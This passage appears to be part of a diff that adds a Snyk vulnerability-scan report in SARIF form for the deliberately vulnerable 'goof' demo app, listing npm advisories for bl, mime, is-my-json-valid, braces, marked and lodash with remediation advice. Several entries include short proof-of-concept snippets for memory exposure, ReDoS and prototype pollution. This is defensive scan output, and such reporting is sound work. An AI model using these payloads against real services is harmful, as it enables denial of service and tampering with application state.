version 4.17.21 or higher.\n# References\n- [GitHub Issue](https://github.com/FasterXML/jackson-databind/issues/5464)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-770", + "npm" + ], + "cvssv3_baseScore": 6.9, + "security-severity": "6.9" + } + }, + { + "id": "SNYK-JS-BL-608877", + "shortDescription": { + "text": "High severity - Remote Memory Exposure vulnerability in bl" + }, + "fullDescription": { + "text": "(CVE-2020-8244) bl@3.0.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: bl\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-docker-plugin@1.38.0 › tar-stream@2.1.0 › bl@3.0.0\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › codecov.io@0.1.6 › request@2.42.0 › bl@0.9.5\n# Overview\n[bl](https://github.com/rvagg/bl) is a library that allows you to collect buffers and access with a standard readable buffer interface.\n\nAffected versions of this package are vulnerable to Remote Memory Exposure. If user input ends up in `consume()` argument and can become negative, BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular `.slice()` calls.\r\n\r\n## PoC by chalker\r\n```\r\nconst { BufferList } = require('bl')\r\nconst secret = require('crypto').randomBytes(256)\r\nfor (let i = 0; i < 1e6; i++) {\r\n const clone = Buffer.from(secret)\r\n const bl = new BufferList()\r\n bl.append(Buffer.from('a'))\r\n bl.consume(-1024)\r\n const buf = bl.slice(1)\r\n if (buf.indexOf(clone) !== -1) {\r\n console.error(`Match (at ${i})`, buf)\r\n }\r\n}\r\n```\n# Remediation\nUpgrade `bl` to version 2.2.1, 3.0.1, 4.0.3, 1.2.3 or higher.\n# References\n- [Github Commit](https://github.com/rvagg/bl/commit/8a8c13c880e2bef519133ea43e0e9b78b5d0c91e)\n- [Github Commit](https://github.com/rvagg/bl/commit/d3e240e3b8ba4048d3c76ef5fb9dd1f8872d3190)\n- [Github Commit](https://github.com/rvagg/bl/commit/dacc4ac7d5fcd6201bcf26fbd886951be9537466)\n- [GitHub Commit](https://github.com/rvagg/bl/commit/0bd87ec97be399b129fc62feff2943ffa21bcc00)\n- [HackerOne Report](https://hackerone.com/reports/966347)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-9", + "npm" + ], + "cvssv3_baseScore": 7.7, + "security-severity": "7.7" + } + }, + { + "id": "npm:mime:20170907", + "shortDescription": { + "text": "Low severity - Regular Expression Denial of Service (ReDoS) vulnerability in mime" + }, + "fullDescription": { + "text": "(CVE-2017-16138) mime@1.3.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: mime\n* Introduced through: goof@1.0.1, express@4.12.4 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › serve-static@1.9.3 › send@0.12.3 › mime@1.3.4\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › send@0.12.3 › mime@1.3.4\n* _Introduced through_: goof@1.0.1 › st@0.2.4 › mime@1.2.11\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › codecov.io@0.1.6 › request@2.42.0 › form-data@0.1.4 › mime@1.2.11\n# Overview\n[mime](https://www.npmjs.com/package/mime) is a comprehensive, compact MIME type module.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It uses regex the following regex `/.*[\\.\\/\\\\]/` in its lookup, which can cause a slowdown of 2 seconds for 50k characters.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `mime` to version 1.4.1, 2.0.3 or higher.\n# References\n- [GitHub Commit](https://github.com/broofa/node-mime/commit/1df903fdeb9ae7eaa048795b8d580ce2c98f40b0)\n- [GitHub Commit](https://github.com/broofa/node-mime/commit/855d0c4b8b22e4a80b9401a81f2872058eae274d)\n- [GitHub Issue](https://github.com/broofa/node-mime/issues/167)\n- [NPM Security Advisory](https://www.npmjs.com/advisories/535)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 3.7, + "security-severity": "3.7" + } + }, + { + "id": "SNYK-JS-ISMYJSONVALID-597165", + "shortDescription": { + "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in is-my-json-valid" + }, + "fullDescription": { + "text": "is-my-json-valid@2.19.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: is-my-json-valid\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › request@2.79.0 › har-validator@2.0.6 › is-my-json-valid@2.19.0\n# Overview\n[is-my-json-valid](https://github.com/mafintosh/is-my-json-valid) is a JSONSchema / orderly validator that uses code generation to be extremely fast.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the `style` format. \r\n\r\n#PoC\r\n```\r\nconst imjv = require('is-my-json-valid')\r\nconst validate = imjv({ maxLength: 100, format: 'style' })\r\nconsole.log(validate(' '.repeat(1e4)))\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `is-my-json-valid` to version 2.20.2 or higher.\n# References\n- [GitHub Commit](https://github.com/mafintosh/is-my-json-valid/commit/c3fc04fc455d40e9b29537f8e2c73a28ce106edb)\n- [HackerOne Report](https://hackerone.com/reports/909757)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "npm:braces:20180219", + "shortDescription": { + "text": "Low severity - Regular Expression Denial of Service (ReDoS) vulnerability in braces" + }, + "fullDescription": { + "text": "(CVE-2018-1109) braces@1.8.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: braces\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › micromatch@2.3.8 › braces@1.8.5\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › test-exclude@1.1.0 › micromatch@2.3.8 › braces@1.8.5\n# Overview\n[braces](https://www.npmjs.com/package/braces) is a Bash-like brace expansion, implemented in JavaScript.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (`^\\{(,+(?:(\\{,+\\})*),*|,*(?:(\\{,+\\})*),+)\\}`) in order to detects empty braces. This can cause an impact of about 10 seconds matching time for data 50K characters long.\r\n\r\n# Disclosure Timeline\r\n* Feb 15th, 2018 - Initial Disclosure to package owner\r\n* Feb 16th, 2018 - Initial Response from package owner\r\n* Feb 18th, 2018 - Fix issued\r\n* Feb 19th, 2018 - Vulnerability published\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `braces` to version 2.3.1 or higher.\n# References\n- [GitHub Commit](https://github.com/micromatch/braces/commit/abdafb0cae1e0c00f184abbadc692f4eaa98f451)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-185", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 3.7, + "security-severity": "3.7" + } + }, + { + "id": "SNYK-JS-LODASH-567746", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in lodash" + }, + "fullDescription": { + "text": "(CVE-2020-8203) lodash@4.17.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: lodash\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/dep-graph@1.13.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/dep-graph@1.13.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-php-plugin@1.7.0 › @snyk/composer-lockfile-parser@1.2.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nuget-plugin@1.16.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/ruby-semver@2.0.4 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nuget-plugin@1.16.0 › dotnet-deps-parser@4.9.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › inquirer@6.5.2 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nodejs-lockfile-parser@1.17.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nodejs-lockfile-parser@1.17.0 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/dep-graph@1.13.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-go-plugin@1.11.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-mvn-plugin@2.8.0 › lodash@4.17.15\n# Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The function `zipObjectDeep` can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.\r\n\r\n# PoC\r\n```\r\nconst _ = require('lodash');\r\n_.zipObjectDeep(['__proto__.z'],[123])\r\nconsole.log(z) // 123\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 8.2, + "security-severity": "8.2" + } + }, + { + "id": "SNYK-JS-MARKED-451540", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in marked" + }, + "fullDescription": { + "text": "marked@0.3.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: marked\n* Introduced through: goof@1.0.1 and marked@0.3.5\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › marked@0.3.5\n# Overview\n[marked](https://marked.js.org/) is a low-level compiler for parsing markdown without caching or blocking for long periods of time.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A Denial of Service condition could be triggered through exploitation of the `heading` regex.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `marked` to version 0.4.0 or higher.\n# References\n- [GitHub Commit](https://github.com/markedjs/marked/commit/09afabf69c6d0c919c03443f47bdfe476566105d)\n- [GitHub PR](https://github.com/markedjs/marked/pull/1224)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 5.3, + "security-severity": "5.3" + } + }, + { + "id": "SNYK-JS-LODASH-608086", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in lodash" + }, + "fullDescription": { + "text": "lodash@4.17.15" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: lodash\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nuget-plugin@1.16.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/dep-graph@1.13.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nuget-plugin@1.16.0 › dotnet-deps-parser@4.9.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nodejs-lockfile-parser@1.17.0 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/dep-graph@1.13.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-php-plugin@1.7.0 › @snyk/composer-lockfile-parser@1.2.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nodejs-lockfile-parser@1.17.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-go-plugin@1.11.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/dep-graph@1.13.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/ruby-semver@2.0.4 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-mvn-plugin@2.8.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › inquirer@6.5.2 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n# Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `setWith` and `set` functions.\r\n\r\n# PoC by awarau\r\n* Create a JS file with this contents:\r\n```\r\nlod = require('lodash')\r\nlod.setWith({}, \"__proto__[test]\", \"123\")\r\nlod.set({}, \"__proto__[test2]\", \"456\")\r\nconsole.log(Object.prototype)\r\n```\r\n* Execute it with `node`\r\n* Observe that `test` and `test2` is now in the `Object.prototype`.\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker 